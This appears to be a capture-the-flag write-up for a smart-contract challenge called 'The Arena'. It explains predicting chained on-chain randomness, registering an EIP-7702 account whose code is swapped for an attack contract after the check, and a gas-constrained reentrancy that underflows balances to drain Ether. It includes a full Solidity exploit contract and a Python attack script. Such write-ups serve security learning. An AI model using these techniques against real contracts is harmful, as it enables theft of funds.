The chrome gleam of Neo-Kyoto's skyline hides a truth darker than its perpetually shadowed alleys. Whispers on the net speak of The Arena, a brutal, underground battleground controlled by The Boss, a faceless entity who orchestrates battles between custom-coded Agents and their digital "Pigs."
You're a street-level netrunner. Your mission: craft your own Agent, register it within The Arena's unforgiving smart contract, and pit it against The Boss's champions. Every battle is a gamble, a chance to outsmart your opponent and claim their Ether.
But this isn't just about winning a few scraps. The Boss has been hoarding, manipulating the flow of funds within The Arena. Your ultimate goal? Bring them down, dismantle their operation, and siphon back enough Ether to make them regret they ever crossed paths with a ghost like you.
The clock's ticking, netrunner. Will you rise to become a legend, or just another glitch in the system?
So our first step is to fight the contract Challenge's pigs. During a battle, the two sides take turns acting as the attacker, selecting the pigs to participate in the current round through the agents they specified during registration. The agent of the current round attacker must also return a pr value, and if this value equals randomness.random() % 100, the attacker receives a 5x attack power bonus, which is the key to defeating the contract Challenge's pig.
Although seed is a private state variable in the contract Randomness, each random result is used to update the seed. Thus, it's easy to predict the subsequent random results once a single random output is known.
Before requesting a battle, we need to register our agent and claim weak pigs created by the contract Challenge. At the time of registration, the agent's code size must not exceed 100 bytes, and it must not contain opcodes related to contract create, contract call or selfdestruct. One approach is to use an EOA as the agent, initially setting its authorization to any address that follows the rules in register() via EIP-7702, because register() only checks the code at this EOA address (EXTCODECOPY). And then updating the code to a malicious contract after registration is complete.
After obtaining some ethers from the battle, the reentracy bug can be exploited to drain the contract. The problem is that only 5000 gas is sent with the call. We can re-enter transfer(), which allow the transaction to use less gas and cause an underflow in balanceOf[msg.sender] after the call ends. But the gas used still exceeds 5000. We need to warm up the storage before calling withdraw(). Not through the access list, because if we rely solely on the access list, the first SSTORE to each storage slot still costs at least 5000 - COLD_SLOAD_COST = 2900 gas. But if the player calls transfer() earlier in the same transaction to modify the storage, the slots become dirty, so subsequent SSTORE operations only consume WARM_STORAGE_READ_COST = 100 gas.
When a transaction execution begins, accessed_storage_keys is initialized to empty, and accessed_addresses is initialized to include tx.sender, tx.to and the set of all precompiles.
contractExploiter{addressimmutablearena;Randomnessimmutablerandomness;constructor(address_arena){arena=_arena;randomness=Arena(_arena).randomness();}functionacceptBattle(address,uint256)externalreturns(bool){returntrue;}functiontick(address,uint256,uint256,Arena.Pig[]memoryfromPigs,Arena.Pig[]memorytoPigs)externalreturns(uint256fromWhich,uint256toWhich,uint256r){uintseed;uintnxt;while(gasleft()>5000){// try to find a good seedseed=randomness.random();r=uint(keccak256(abi.encodePacked(block.prevrandao,arena,seed)));nxt=uint(keccak256(abi.encodePacked(block.prevrandao,arena,r)))%100;if((nxt<50&&50-nxt>=10)||(nxt>50&&nxt-50>=10)){break;}}r=r%100;fromWhich=0;toWhich=0;uint256maxAttack=0;for(uint256i=0;i<fromPigs.length;i++){if(fromPigs[i].health>0&&fromPigs[i].attack>maxAttack){maxAttack=fromPigs[i].attack;fromWhich=i;}}maxAttack=0;for(uint256i=0;i<toPigs.length;i++){if(toPigs[i].health>0&&toPigs[i].attack>maxAttack){maxAttack=toPigs[i].attack;toWhich=i;}}}}
fromcheb3importConnectionfromcheb3.utilsimportload_compiled,calc_create_address,encode_with_signaturefromtimeimportsleepchall_abi,_=load_compiled("Challenge.sol")arena_abi,_=load_compiled("Arena.sol")exploiter_abi,exploiter_bin=load_compiled("PoC.t.sol","Exploiter")withdrawer_abi,withdrawer_bin=load_compiled("PoC.t.sol","Withdrawer")conn=Connection("http://localhost:8545")player=conn.account("<private-key>")agent=conn.account("0x2d8d57f5d5ada2ec30c91a3c8dfc64ef70798c68f24cacfa8fddfc2360fbaa95")setup="<challenge-address>"challenge=conn.contract(player,abi=chall_abi,address=setup)arena_addr=challenge.caller.arena()arena=conn.contract(player,abi=arena_abi,address=arena_addr)exploiter=conn.contract(player,abi=exploiter_abi,bytecode=exploiter_bin)exploiter.deploy(arena_addr)arena.functions.deposit().send_transaction(value=7*10**18)signed_auth=agent.sign_authorization(f"0x{0x1337:040x}",is_sender=False)arena.functions.register(agent.address).send_transaction(authorization_list=[signed_auth])foriinrange(3):arena.functions.claimPig().send_transaction()# Update the agent's codesigned_auth=agent.sign_authorization(exploiter.address,is_sender=False)arena.functions.requestBattle(setup,arena.caller.balanceOf(player.address)).send_transaction(authorization_list=[signed_auth])whileTrue:try:ifarena.caller.getBattleCount()==1:sleep(5)continueexceptExceptionase:sleep(2)continuesetup_balance=arena.caller.balanceOf(setup)ifsetup_balance<10**18:breakarena.functions.requestBattle(setup,setup_balance).send_transaction()withdrawer_addr=calc_create_address(player.address,conn.w3.eth.get_transaction_count(player.address))withdrawer=conn.contract(player,abi=withdrawer_abi,bytecode=withdrawer_bin)withdrawer.deploy()signed_auth=player.sign_authorization(withdrawer_addr)player.send_transaction(player.address,data=encode_with_signature("exploit(address,uint256)",arena_addr,arena.caller.balanceOf(player.address)-1),authorization_list=[signed_auth])arena.functions.withdraw(arena.get_balance()).send_transaction()print("Final player balance:",player.get_balance())